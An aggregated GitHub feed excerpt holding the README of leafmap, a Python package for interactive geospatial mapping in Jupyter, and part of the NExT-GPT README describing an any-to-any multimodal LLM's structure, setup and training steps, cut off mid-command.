- tag:github.com,2023-09-19:/opengeos/leafmap - - <p>A Python package for interactive mapping and geospatial analysis with minimal coding in a Jupyter environment</p><hr><h1>Welcome to leafmap</h1> <p><a href="https://demo.leafmap.org"><img src="https://jupyterlite.rtfd.io/en/latest/_static/badge.svg?sanitize=true" alt="image"></a> <a href="https://studiolab.sagemaker.aws/import/github/opengeos/leafmap/blob/master/examples/notebooks/00_key_features.ipynb"><img src="https://studiolab.sagemaker.aws/studiolab.svg?sanitize=true" alt="image"></a> <a href="https://pccompute.westeurope.cloudapp.azure.com/compute/hub/user-redirect/git-pull?repo=https://github.com/opengeos/leafmap&amp;urlpath=lab/tree/leafmap/examples/notebooks/00_key_features.ipynb&amp;branch=master"><img src="https://img.shields.io/badge/Open-Planetary%20Computer-black?style=flat&amp;logo=microsoft" alt="image"></a> <a href="https://gishub.org/leafmap-colab"><img src="https://colab.research.google.com/assets/colab-badge.svg?sanitize=true" alt="image"></a> <a href="https://gishub.org/leafmap-binder"><img src="https://mybinder.org/badge_logo.svg?sanitize=true" alt="image"></a> <a href="https://pypi.python.org/pypi/leafmap"><img src="https://img.shields.io/pypi/v/leafmap.svg?sanitize=true" alt="image"></a> <a href="https://anaconda.org/conda-forge/leafmap"><img src="https://img.shields.io/conda/vn/conda-forge/leafmap.svg?sanitize=true" alt="image"></a> <a href="https://pepy.tech/projects/leafmap"><img src="https://static.pepy.tech/badge/leafmap" alt="image"></a> <a href="https://leafmap.org"><img src="https://github.com/opengeos/leafmap/workflows/docs/badge.svg?sanitize=true" alt="image"></a> <a href="https://github.com/opengeos/leafmap/actions"><img src="https://github.com/opengeos/leafmap/workflows/Linux%20build/badge.svg?sanitize=true" alt="image"></a> <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-yellow.svg?sanitize=true" alt="image"></a> <a href="https://youtube.com/@giswqs"><img src="https://img.shields.io/badge/YouTube-Channel-red" alt="image"></a> <a href="https://doi.org/10.21105/joss.03414"><img src="https://joss.theoj.org/papers/10.21105/joss.03414/status.svg?sanitize=true" alt="status"></a></p> <p><a href="https://github.com/opengeos/leafmap/raw/master/docs/assets/logo.png"><img src="https://raw.githubusercontent.com/opengeos/leafmap/master/docs/assets/logo_rect.png" alt="logo"></a></p> <p><strong>A Python package for geospatial analysis and interactive mapping in a Jupyter environment.</strong></p> <ul> <li>GitHub repo: <a href="https://github.com/opengeos/leafmap">https://github.com/opengeos/leafmap</a></li> <li>Documentation: <a href="https://leafmap.org">https://leafmap.org</a></li> <li>PyPI: <a href="https://pypi.org/project/leafmap">https://pypi.org/project/leafmap</a></li> <li>Conda-forge: <a href="https://anaconda.org/conda-forge/leafmap">https://anaconda.org/conda-forge/leafmap</a></li> <li>Leafmap tutorials on YouTube: <a href="https://youtube.com/@giswqs">https://youtube.com/@giswqs</a></li> <li>Free software: <a href="https://opensource.org/licenses/MIT">MIT license</a></li> </ul> <h2>Introduction</h2> <p><strong>Leafmap</strong> is a Python package for interactive mapping and geospatial analysis with minimal coding in a Jupyter environment. It is a spin-off project of the <a href="https://geemap.org">geemap</a> Python package, which was designed specifically to work with <a href="https://earthengine.google.com">Google Earth Engine</a> (GEE). However, not everyone in the geospatial community has access to the GEE cloud computing platform. Leafmap is designed to fill this gap for non-GEE users. It is a free and open-source Python package that enables users to analyze and visualize geospatial data with minimal coding in a Jupyter environment, such as Google Colab, Jupyter Notebook, and JupyterLab. Leafmap is built upon several open-source packages, such as <a href="https://github.com/python-visualization/folium">folium</a> and <a href="https://github.com/jupyter-widgets/ipyleaflet">ipyleaflet</a> (for creating interactive maps), <a href="https://github.com/jblindsay/whitebox-tools">WhiteboxTools</a> and <a href="https://github.com/opengeos/whiteboxgui">whiteboxgui</a> (for analyzing geospatial data), and <a href="https://github.com/jupyter-widgets/ipywidgets">ipywidgets</a> (for designing interactive graphical user interface [GUI]). Leafmap has a toolset with various interactive tools that allow users to load vector and raster data onto the map without coding. In addition, users can use the powerful analytical backend (i.e., WhiteboxTools) to perform geospatial analysis directly within the leafmap user interface without writing a single line of code. The WhiteboxTools library currently contains <strong>500+</strong> tools for advanced geospatial analysis, such as <a href="https://jblindsay.github.io/wbt_book/available_tools/gis_analysis.html">GIS Analysis</a>, <a href="https://jblindsay.github.io/wbt_book/available_tools/geomorphometric_analysis.html">Geomorphometric Analysis</a>, <a href="https://jblindsay.github.io/wbt_book/available_tools/hydrological_analysis.html">Hydrological Analysis</a>, <a href="https://jblindsay.github.io/wbt_book/available_tools/lidar_tools.html">LiDAR Data Analysis</a>, <a href="https://jblindsay.github.io/wbt_book/available_tools/mathand_stats_tools.html">Mathematical and Statistical Analysis</a>, and <a href="https://jblindsay.github.io/wbt_book/available_tools/stream_network_analysis.html">Stream Network Analysis</a>.</p> <h2>Acknowledgments</h2> <p>This project is supported by Amazon Web Services (<a href="https://aws.amazon.com">AWS</a>).</p> <h2>Statement of Need</h2> <p>There is a plethora of Python packages for geospatial analysis, such as <a href="https://geopandas.org">geopandas</a> for vector data analysis and <a href="https://docs.xarray.dev">xarray</a> for raster data analysis. As listed at <a href="https://pyviz.org">pyviz.org</a>, there are also many options for plotting data on a map in Python, ranging from libraries focused specifically on maps like <a href="https://ipyleaflet.readthedocs.io">ipyleaflet</a> and <a href="https://python-visualization.github.io/folium">folium</a> to general-purpose plotting tools that also support geospatial data types, such as <a href="https://hvplot.pyviz.org">hvPlot</a>, <a href="http://bokeh.org">bokeh</a>, and <a href="https://plotly.com/python">plotly</a>. While these tools provide powerful capabilities, displaying geospatial data from different file formats on an interactive map and performing basic analyses can be challenging, especially for users with limited coding skills. Furthermore, many tools lack bi-directional communication between the frontend (browser) and the backend (Python), limiting their interactivity and usability for exploring map data.</p> <p>Leafmap addresses these challenges by leveraging the bidirectional communication provided by ipyleaflet, enabling users to load and visualize geospatial datasets with just one line of code. Leafmap also provides an interactive graphical user interface (GUI) for loading geospatial datasets without any coding. It is designed for anyone who wants to analyze and visualize geospatial data interactively in a Jupyter environment, making it particularly accessible for novice users with limited programming skills. Advanced programmers can also benefit from leafmap for geospatial data analysis and building interactive web applications.</p> <h2>Usage</h2> <p>Launch the interactive notebook tutorial for the <strong>leafmap</strong> Python package with JupyterLite, Google Colab, Binder, or Amazon Sagemaker Studio Lab now:</p> <p><a href="https://demo.leafmap.org"><img src="https://jupyterlite.rtfd.io/en/latest/_static/badge.svg?sanitize=true" alt="image"></a> <a href="https://gishub.org/leafmap-colab"><img src="https://colab.research.google.com/assets/colab-badge.svg?sanitize=true" alt="image"></a> <a href="https://gishub.org/leafmap-binder"><img src="https://mybinder.org/badge_logo.svg?sanitize=true" alt="image"></a> <a href="https://studiolab.sagemaker.aws/import/github/opengeos/leafmap/blob/master/examples/notebooks/00_key_features.ipynb"><img src="https://studiolab.sagemaker.aws/studiolab.svg?sanitize=true" alt="Open In Studio Lab"></a></p> <p>Check out this excellent article on Medium - <a href="https://link.medium.com/HRRKDcynYgb">Leafmap a new Python Package for Geospatial data science</a></p> <p>To learn more about leafmap, check out the leafmap documentation website - <a href="https://leafmap.org">https://leafmap.org</a></p> <p><img src="https://i.imgur.com/abd8pTH.gif" alt=""></p> <h2>Key Features</h2> <p>Leafmap offers a wide range of features and capabilities that empower geospatial data scientists, researchers, and developers to unlock the potential of their data. Some of the key features include:</p> <ul> <li> <p><strong>Creating an interactive map with just one line of code:</strong> Leafmap makes it easy to create an interactive map by providing a simple API that allows you to load and visualize geospatial datasets with minimal coding.</p> </li> <li> <p><strong>Switching between different mapping backends:</strong> Leafmap supports multiple mapping backends, including ipyleaflet, folium, kepler.gl, pydeck, and bokeh. You can switch between these backends to create maps with different visualization styles and capabilities.</p> </li> <li> <p><strong>Changing basemaps interactively:</strong> Leafmap allows you to change basemaps interactively, providing a variety of options such as OpenStreetMap, Stamen Terrain, CartoDB Positron, and many more.</p> </li> <li> <p><strong>Adding XYZ, WMS, and vector tile services:</strong> You can easily add XYZ, WMS, and vector tile services to your map, allowing you to overlay additional geospatial data from various sources.</p> </li> <li> <p><strong>Displaying vector data:</strong> Leafmap supports various vector data formats, including Shapefile, GeoJSON, GeoPackage, and any vector format supported by GeoPandas. You can load and display vector data on the map, enabling you to visualize and analyze spatial features.</p> </li> <li> <p><strong>Displaying raster data:</strong> Leafmap allows you to load and display raster data, such as GeoTIFFs, on the map. This feature is useful for visualizing satellite imagery, digital elevation models, and other gridded datasets.</p> </li> <li> <p><strong>Creating custom legends and colorbars:</strong> Leafmap provides tools for customizing legends and colorbars on the map, allowing you to represent data values with different colors and corresponding labels.</p> </li> <li> <p><strong>Creating split-panel maps and linked maps:</strong> With Leafmap, you can create split-panel maps to compare different datasets side by side. You can also create linked maps that synchronize interactions between multiple maps, providing a coordinated view of different spatial data.</p> </li> <li> <p><strong>Downloading and visualizing OpenStreetMap data:</strong> Leafmap allows you to download and visualize OpenStreetMap data, providing access to detailed street maps, buildings, and other points of interest.</p> </li> <li> <p><strong>Creating and editing vector data interactively:</strong> Leafmap includes tools for creating and editing vector data interactively on the map. You can draw points, lines, and polygons, and modify them as needed.</p> </li> <li> <p><strong>Searching for geospatial data:</strong> Leafmap provides functionality for searching and accessing geospatial data from sources such as SpatialTemporal Asset Catalogs (STAC), Microsoft Planetary Computer, AWS Open Data Registry, and OpenAerialMap.</p> </li> <li> <p><strong>Inspecting pixel values interactively:</strong> Leafmap allows you to interactively inspect pixel values in raster datasets, helping you analyze and understand the data at a more granular level.</p> </li> <li> <p><strong>Creating choropleth maps and heat maps:</strong> Leafmap supports the creation of choropleth maps, where colors represent different data values for specific geographic areas. You can also create heat maps to visualize data density.</p> </li> <li> <p><strong>Displaying data from a PostGIS database:</strong> Leafmap provides tools for connecting to a PostGIS database and displaying spatial data stored in the database on the map.</p> </li> <li> <p><strong>Creating time series animations:</strong> Leafmap enables the creation of time series animations from both vector and raster data, allowing you to visualize temporal changes in your geospatial datasets.</p> </li> <li> <p><strong>Analyzing geospatial data with whitebox:</strong> Leafmap integrates with WhiteboxTools and whiteboxgui, providing a suite of geospatial analyses, such as hydrological analysis, terrain analysis, and LiDAR processing.</p> </li> <li> <p><strong>Segmenting and classifying remote sensing imagery:</strong> Leafmap integrates the segment-geospatial package, which provides tools for segmenting and classifying remote sensing imagery using deep learning algorithms.</p> </li> <li> <p><strong>Building interactive web apps:</strong> Leafmap supports the development of interactive web applications using frameworks like Voila, Streamlit, and Solara. This allows you to share your geospatial analyses and visualizations with others in a user-friendly web interface.</p> </li> </ul> <p>These features and capabilities make leafmap a powerful tool for geospatial data exploration, analysis, and visualization. Whether you are a beginner or an experienced geospatial data scientist, leafmap provides an accessible and efficient way to work with geospatial data in Python.</p> <h2>Citations</h2> <p>If you find <strong>leafmap</strong> useful in your research, please consider citing the following paper to support my work. Thank you for your support.</p> <ul> <li>Wu, Q. (2021). Leafmap: A Python package for interactive mapping and geospatial analysis with minimal coding in a Jupyter environment. <em>Journal of Open Source Software</em>, 6(63), 3414. <a href="https://doi.org/10.21105/joss.03414">https://doi.org/10.21105/joss.03414</a></li> </ul> <h2>Demo</h2> <p><img src="https://wetlands.io/file/images/leafmap_demo.gif" alt=""></p> <h2>YouTube Channel</h2> <p>I have created a <a href="https://youtube.com/@giswqs">YouTube Channel</a> for sharing geospatial tutorials. You can subscribe to my channel for regular updates. If there is any specific tutorial you would like to see, please submit a feature request <a href="https://github.com/opengeos/leafmap/issues">here</a>.</p> <p><a href="https://youtube.com/@giswqs"><img src="https://wetlands.io/file/images/youtube.png" alt="Earth Engine Tutorials on YouTube"></a></p> + NExT-GPT/NExT-GPT + 2023-09-20T01:38:37Z + tag:github.com,2023-09-20:/NExT-GPT/NExT-GPT + + <p>Code and models for NExT-GPT: Any-to-Any Multimodal Large Language Model</p><hr><h1><img src="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/nextgpt.png" style="width: 5%"> NExT-GPT: Any-to-Any Multimodal LLM</h1> <p><a href="https://chocowu.github.io/">Shengqiong Wu</a>, <a href="http://haofei.vip/">Hao Fei</a>*, <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#">Leigang Qu</a>, <a href="https://jiwei0523.github.io/">Wei Ji</a>, and <a href="https://www.chuatatseng.com/">Tat-Seng Chua</a>. (*Correspondence )</p> <p><strong><a href="https://www.nextcenter.org/">NExT++</a>, School of Computing, National University of Singapore</strong></p> <hr> <p><a href="https://next-gpt.github.io/"><img src="https://img.shields.io/badge/Project-Page-Green"></a> <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#"><img src="https://img.shields.io/badge/Demo-Page-purple"></a> <a href="https://arxiv.org/pdf/2309.05519"><img src="https://img.shields.io/badge/Paper-PDF-orange"></a> <img src="https://img.shields.io/badge/License-BSD-blue.svg?sanitize=true" alt="License"> <a href="https://www.youtube.com/watch?v=aqw2SCWeWD0"><img src="https://badges.aleen42.com/src/youtube.svg?sanitize=true" alt="YouTube"></a></p> <p>This repository hosts the code, data and model weight of <strong>NExT-GPT</strong>, the first end-to-end MM-LLM that perceives input and generates output in arbitrary combinations (any-to-any) of text, image, video, and audio and beyond.</p> <hr> <h2>🎉 News</h2> <ul> <li><input type="checkbox" checked disabled> [2023.09.15] 🚀🚀 Release the code of NExT-GPT in version <code>7b_tiva_v0</code>.</li> </ul> <h2>👉 TODO</h2> <ul> <li><input type="checkbox" disabled> Release checkpoints (projection layers).</li> <li><input type="checkbox" disabled> Release MosIT data.</li> <li><input type="checkbox" disabled> Updating NExT-GPT in more types&amp;sizes of LLMs.</li> <li><input type="checkbox" disabled> Empowering NExT-GPT with more modalities of inputs&amp;outputs.</li> <li><input type="checkbox" disabled> ...</li> </ul> <hr> <h2>Example Demos</h2> <p>Here we showcase examples generated from NExT-GPT. For more examples, kindly visit the <a href="https://next-gpt.github.io/">webpage</a>, or the online live <a href="https://9f10951d8cbe53e698.gradio.live">demo</a>.</p> <p><a href="https://github.com/NExT-GPT/NExT-GPT/assets/18722770/0c2b3d88-a533-4899-ab44-65580fe54538">https://github.com/NExT-GPT/NExT-GPT/assets/18722770/0c2b3d88-a533-4899-ab44-65580fe54538</a></p> <p><a href="https://github.com/NExT-GPT/NExT-GPT/assets/18722770/eb1319a6-38aa-4546-a96e-163207e7de93">https://github.com/NExT-GPT/NExT-GPT/assets/18722770/eb1319a6-38aa-4546-a96e-163207e7de93</a></p> <p><a href="https://github.com/NExT-GPT/NExT-GPT/assets/18722770/36bec0ad-9bad-4bcf-bc37-92b028f1bc6a">https://github.com/NExT-GPT/NExT-GPT/assets/18722770/36bec0ad-9bad-4bcf-bc37-92b028f1bc6a</a></p> <span id="introduction"></span> <h2>Brief Introduction</h2> <p>NExt-GPT is built on top of existing pre-trained LLM, multimodal encoder and SoTA diffusion models, with sufficient end-to-end instruction tuning.</p> <p align="center" width="100%"> <a target="_blank"><img src="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/figures/framework.png" alt="Video-LLaMA" style="width: 90%; min-width: 200px; display: block; margin: auto;"></a> </p> <ul> <li><strong>Multimodal Encoding Stage.</strong> Leveraging established encoders to encode inputs in various modalities, where these representations are projected into language-like representations comprehensible to the LLM through a projection layer.</li> <li><strong>LLM Understanding and Reasoning Stage.</strong> Harnessing an existing open-sourced LLM as the core to process input information for semantic understanding and reasoning. The LLM not only directly generates text tokens but also produces unique “modality signal” tokens that serve as instructions to dictate the decoding layers whether &amp; what modal content to output correspondingly.</li> <li><strong>Multimodal Generation Stage.</strong> Receiving the multimodal signals with specific instructions from LLM (if any), the Transformer-based output projection layers map the signal token representations into the ones that are understandable to following multimodal decoders.</li> </ul> <p>For more technical details, kindly refer to the <a href="https://arxiv.org/pdf/2309.05519.pdf">paper</a>.</p> <hr> <span id="Usage"></span> <h2>Getting Started</h2> <span id="all_catelogue"></span> <h3>Table of Contents:</h3> <ul> <li><a href="#Code Structure">1. Code Structure</a></li> <li><a href="#Environment Preparation">2. Environment Preparation </a></li> <li><a href="#Training on Your Own">3. Training/Adapting NExt-GPT on Your Own</a> <ul> <li><a href="#Prepare Pre-trained Checkpoint">3.1. Preparing Pre-trained Checkpoint</a></li> <li><a href="#Prepare Dataset">3.2. Preparing Dataset </a></li> <li><a href="#Precompute Embeddings">3.3. Precomputing Embeddings</a></li> <li><a href="#Train NExT-GPT">3.4. Training NExT-GPT</a></li> </ul> </li> <li><a href="#Run NExT-GPT System">4. Running NExT-GPT System</a> <ul> <li><a href="#Prepare checkpoints">4.1. Preparing checkpoints</a></li> <li><a href="#Deploy Demo System">4.2. Deploying Demo System</a></li> </ul> </li> </ul> <hr> <span id="Code Structure"></span> <h3>1. Code Structure</h3> <pre><code>├── figures ├── data │ ├── T-X_pair_data │ │ ├── audiocap # text-autio pairs data │ │ │ ├── audios # audio files │ │ │ └── audiocap.json # the audio captions │ │ ├── cc3m # text-image paris data │ │ │ ├── images # image files │ │ │ └── cc3m.json # the image captions │ │ └── webvid # text-video pairs data │ │ │ ├── videos # video files │ │ │ └── webvid.json # the video captions │ ├── IT_data # instruction data │ │ ├── T+X-T_data # text+[image/audio/video] to text instruction data │ │ │ ├── alpaca # textual instruction data │ │ │ ├── llava # visual instruction data │ │ ├── T-T+X # synthesized text to text+[image/audio/video] instruction data │ │ └── MosIT # Modality-switching Instruction Tuning instruction data ├── code │ ├── config │ │ ├── base.yaml # the model configuration │ │ ├── stage_1.yaml # enc-side alignment training configuration │ │ ├── stage_2.yaml # dec-side alignment training configuration │ │ └── stage_3.yaml # instruction-tuning configuration │ ├── dsconfig │ │ ├── stage_1.json # deepspeed configuration for enc-side alignment training │ │ ├── stage_2.json # deepspeed configuration for dec-side alignment training │ │ └── stage_3.json # deepspeed configuration for instruction-tuning training │ ├── datast │ │ ├── base_dataset.py │ │ ├── cc3m_datast.py # process and load text-image pair dataset │ │ ├── audiocap_datast.py # process and load text-audio pair dataset │ │ ├── webvid_dataset.py # process and load text-video pair dataset │ │ └── instruction_dataset.py # process and load instruction pair dataset │ ├── model │ │ ├── ImageBind # the code from ImageBind Model │ │ ├── common │ │ ├── anyToImageVideoAudio.py # the main model file │ │ ├── agent.py │ │ ├── modeling_llama.py │ │ ├── custom_ad.py # the audio diffusion │ │ ├── custom_sd.py # the image diffusion │ │ ├── custom_vd.py # the video diffusion │ │ ├── layers.py # the output projection layers │ │ └── ... │ ├── scripts │ │ ├── train.sh # training NExT-GPT script │ │ └── app.sh # deploying demo script │ ├── header.py │ ├── process_embeddings.py # precompute the captions embeddings │ ├── train.py # training │ ├── inference.py # inference │ ├── demo_app.py # deploy Gradio demonstration │ └── ... ├── ckpt │ ├── delta_ckpt # tunable NExT-GPT params │ │ ├── nextgpt │ │ │ ├── 7b_tiva_v0 # the directory to save the log file │ │ │ │ ├── log # the logs │ └── ... │ ├── pretrained_ckpt # frozen params of pretrained modules │ │ ├── imagebind_ckpt │ │ │ ├──huge # version │ │ │ │ └──imagebind_huge.pth │ │ ├── vicuna_ckpt │ │ │ ├── 7b_v0 # version │ │ │ │ ├── config.json │ │ │ │ ├── pytorch_model-00001-of-00002.bin │ │ │ │ ├── tokenizer.model │ │ │ │ └── ... ├── LICENCE.md ├── README.md └── requirements.txt </code></pre> <span id="Environment Preparation"></span> <h3>2. Environment Preparation <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h3> <p>Please first clone the repo and install the required environment, which can be done by running the following commands:</p> <pre><code>conda env create -n nextgpt python=3.8 conda activate nextgpt # CUDA 11.6 conda install pytorch==1.13.1 torchvision==0.14.1 torchaudio==0.13.1 pytorch-cuda=11.6 -c pytorch -c nvidia git clone https://github.com/NExT-GPT/NExT-GPT.git cd NExT-GPT pip install -r requirements.txt </code></pre> <span id="Training on Your Own"></span> <h3>3. Training/Adapting NExt-GPT on Your Own</h3> <h4></h4> <span id="Prepare Pre-trained Checkpoint"></span> <h4>3.1. Preparing Pre-trained Checkpoint <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h4> <p>NExT-GPT is trained based on following excellent existing models. Please follow the instructions to prepare the checkpoints.</p> <ul> <li><code>ImageBind</code> is the unified image/video/audio encoder. The pre-trained checkpoint can be downloaded from <a href="https://dl.fbaipublicfiles.com/imagebind/imagebind_huge.pth">here</a> with version <code>huge</code>. Afterward, put the <code>imagebind_huge.pth</code> file at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/ckpt/pretrained_ckpt/imagebind_ckpt/">[./ckpt/pretrained_ckpt/imagebind_ckpt/huge]</a>.</li> <li><code>Vicuna</code>: first prepare the LLaMA by following the instructions <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/ckpt/pretrained_ckpt/prepare_vicuna.md">[here]</a>. Then put the pre-trained model at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/ckpt/pretrained_ckpt/vicuna_ckpt/">[./ckpt/pretrained_ckpt/vicuna_ckpt/]</a>.</li> <li><code>Image Diffusion</code> is used to generate images. NExT-GPT uses <a href="https://huggingface.co/runwayml/stable-diffusion-v1-5">Stable Diffusion</a> with version <code> v1-5</code>. (<em>will be automatically downloaded</em>)</li> <li><code>Audio Diffusion</code> for producing audio content. NExT-GPT employs <a href="https://github.com/haoheliu/AudioLDM">AudioLDM</a> with version <code>l-full</code>. (<em>will be automatically downloaded</em>)</li> <li><code>Video Diffusion</code> for the video generation. We employ <a href="https://huggingface.co/cerspense/zeroscope_v2_576w">ZeroScope</a> with version <code>v2_576w</code>. (<em>will be automatically downloaded</em>)</li> </ul> <span id="Prepare Dataset"></span> <h4>3.2. Preparing Dataset <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h4> <p>Please download the following datasets used for model training:</p> <p>A) T-X pairs data</p> <ul> <li><code>CC3M</code> of <em><strong>text-image</strong></em> pairs, please follow this instruction <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/cc3m/prepare.md">[here]</a>. Then put the data at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/cc3m">[./data/T-X_pair_data/cc3m]</a>.</li> <li><code>WebVid</code> of <em><strong>text-video</strong></em> pairs, see the <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/webvid/prepare.md">[instruction]</a>. The file should be saved at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/webvid">[./data/T-X_pair_data/webvid]</a>.</li> <li><code>AudioCap</code> of <em><strong>text-audio</strong></em> pairs, see the <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/audiocap/prepare.md">[instruction]</a>. Save the data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/audiocap">[./data/T-X_pair_data/audiocap]</a>.</li> </ul> <p>B) Instruction data</p> <ul> <li> <p>T+X-T</p> <ul> <li><code>LLaVA</code> of the <em><strong>visual instruction data</strong></em>, download it from <a href="https://github.com/haotian-liu/LLaVA/raw/main/docs/Data.md">here</a>, and then put it at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T+X-T_data/llava/">[./data/IT_data/T+X-T_data/llava]</a>.</li> <li><code>Alpaca</code> of the <em><strong>textual instruction data</strong></em>, download it from <a href="https://github.com/tatsu-lab/stanford_alpaca">here</a>, and then put it at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T+X-T_data/alpaca/">[./data/IT_data/T+X-T_data/alpaca/]</a>.</li> <li><code>VideoChat</code>, download the <em><strong>video instruction data</strong></em> <a href="https://github.com/OpenGVLab/InternVideo/tree/main/Data/instruction_data">here</a>, and then put it at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T+X-T_data/videochat/">[./data/IT_data/T+X-T_data/videochat/]</a>.</li> </ul> </li> <li> <p>T-X+T</p> <ul> <li>Run the following commands to construct the data. Please ensure the above <code>T+X-T</code> datasets are prepared. Afterward, the <code>T-X+T</code> file <code>instruction_data.json</code> will be saved at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T-T+X_data">[./data/IT_data/T-T+X_data]</a>. <pre><code class="language-angular2html">cd ./code/dataset/ python instruction_dataset.py </code></pre> </li> </ul> </li> <li> <p>MosIT</p> <ul> <li>Download the file from <a href="">here</a>, put them in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/MosIT_data/">[./data/IT_data/MosIT_data/]</a>. (<em>We are in the process of finalizing the data and handling the copyright issue. Will release later.</em>)</li> </ul> </li> </ul> <span id="Precompute Embeddings"></span> <h4>3.3. Precomputing Embeddings <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h4> <p>In decoding-side alignment training, we minimize the distance between the representation of signal tokens and captions. To save costs of time and memory, we precompute the text embeddings for image, audio and video captions using the text encoder within the respective diffusion models.</p> <p>Please run this command before the following training of NExT-GPT, where the produced <code>embedding</code> file will be saved at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/embed">[./data/embed]</a>.</p> <pre><code class="language-angular2html">cd ./code/ python process_embeddings.py ../data/T-X_pair_data/cc3m/cc3m.json image ../data/embed/ runwayml/stable-diffusion-v1-5 </code></pre> <p>Note of arguments:</p> <ul> <li>args[1]: path of caption file;</li> <li>args[2]: modality, which can be <code>image</code>, <code>video</code>, and <code>audio</code>;</li> <li>args[3]: saving path of embedding file;</li> <li>args[4]: corresponding pre-trained diffusion model name.</li> </ul> <span id="Train NExT-GPT"></span> <h4>3.4. Training NExT-GPT <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h4> <p>First of all, please refer to the base configuration file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/config/base.yaml">[./code/config/base.yaml]</a> for the basic system setting of overall modules.</p> <p>Then, the training of NExT-GPT starts with this script:</p> <pre><code class="language-angular2html">cd ./code bash scripts/train.sh </code></pre> <p>Specifying the command:</p> <pre><code class="language-angular2html">deepspeed --include localhost:0 --master_addr 127.0.0.1 --master_port 28459 train.py \ --model nextgpt \ --stage 1\ --dataset cc3m\ --data_path ../data/T-X_pair_data/cc3m/cc3m.json\ --mm_root_path ../data/T-X_pair_data/cc3m/images/\ --embed_path ../data/embed/\ --save_path ../ckpt/delta_ckpt/nextgpt/7b/\ --log_path ../ckpt/delta_ckpt/nextgpt/7b/log/ </code></pre> <p>where the key arguments are:</p> <ul> <li><code>--include</code>: <code>localhost:0</code> indicating the GPT cuda number <code>0</code> of deepspeed.</li> <li><code>--stage</code>: training stage.</li> <li><code>--dataset</code>: the dataset name for training model.</li> <li><code>--data_path</code>: the data path for the training file.</li> <li><code>--mm_root_path</code>: the data path for the image/video/audio file.</li> <li><code>--embed_path</code>: the data path for the text embedding file.</li> <li><code>--save_path</code>: the directory which saves the trained delta weights. This directory will be automatically created.</li> <li><code>--log_path</code>: the directory which saves the log file.</li> </ul> <p>The whole NExT-GPT training involves 3 steps:</p> <ul> <li> <p><strong>Step-1</strong>: Encoding-side LLM-centric Multimodal Alignment. This stage trains the <em><strong>input projection layer</strong></em> while freezing the ImageBind, LLM, output projection layer.</p> <p>Just run the above <code>train.sh</code> script by setting:</p> <ul> <li><code>--stage 1</code></li> <li><code>--dataset x</code>, where <code>x</code> varies from [<code>cc3m</code>, <code>webvid</code>, <code>audiocap</code>]</li> <li><code>--data_path ../.../xxx.json</code>, where <code>xxx</code> is the file name of the data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data">[./data/T-X_pair_data]</a></li> <li><code>--mm_root_path .../.../x</code>, <code>x</code> varies from [<code>images</code>, <code>audios</code>, <code>videos</code>]</li> </ul> <p>Also refer to the running config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/config/stage_1.yaml">[./code/config/stage_1.yaml]</a> and deepspeed config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/dsconfig/stage_1.yaml">[./code/dsconfig/stage_1.yaml]</a> for more step-wise configurations.</p> </li> <li> <p><strong>Step-2</strong>: Decoding-side Instruction-following Alignment. This stage trains the <em><strong>output projection layers</strong></em> while freezing the ImageBind, LLM, input projection layers.</p> <p>Just run the above <code>train.sh</code> script by setting:</p> <ul> <li><code>--stage 2</code></li> <li><code>--dataset x</code>, where <code>x</code> varies from [<code>cc3m</code>, <code>webvid</code>, <code>audiocap</code>]</li> <li><code>--data_path ../.../xxx.json</code>, where <code>xxx</code> is the file name of the data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data">[./data/T-X_pair_data]</a></li> <li><code>--mm_root_path .../.../x</code>, <code>x</code> varies from [<code>images</code>, <code>audios</code>, <code>videos</code>]</li> </ul> <p>Also refer to the running config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/config/stage_2.yaml">[./code/config/stage_2.yaml]</a> and deepspeed config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/dsconfig/stage_2.yaml">[./code/dsconfig/stage_2.yaml]</a> for more step-wise configurations.</p> </li> <li> <p><strong>Step-3</strong>: Instruction Tuning. This stage instruction-tune 1) the <em><strong>LLM</strong></em> via LoRA, 2) <em><strong>input projection layer</strong></em> and 3) <em><strong>output projection layer</strong></em> on the instruction dataset.</p> <p>Just run the above <code>train.sh</code> script by setting:</p> <ul> <li><code>--stage 3</code></li> <li><code>--dataset instruction</code></li> <li><code>--data_path 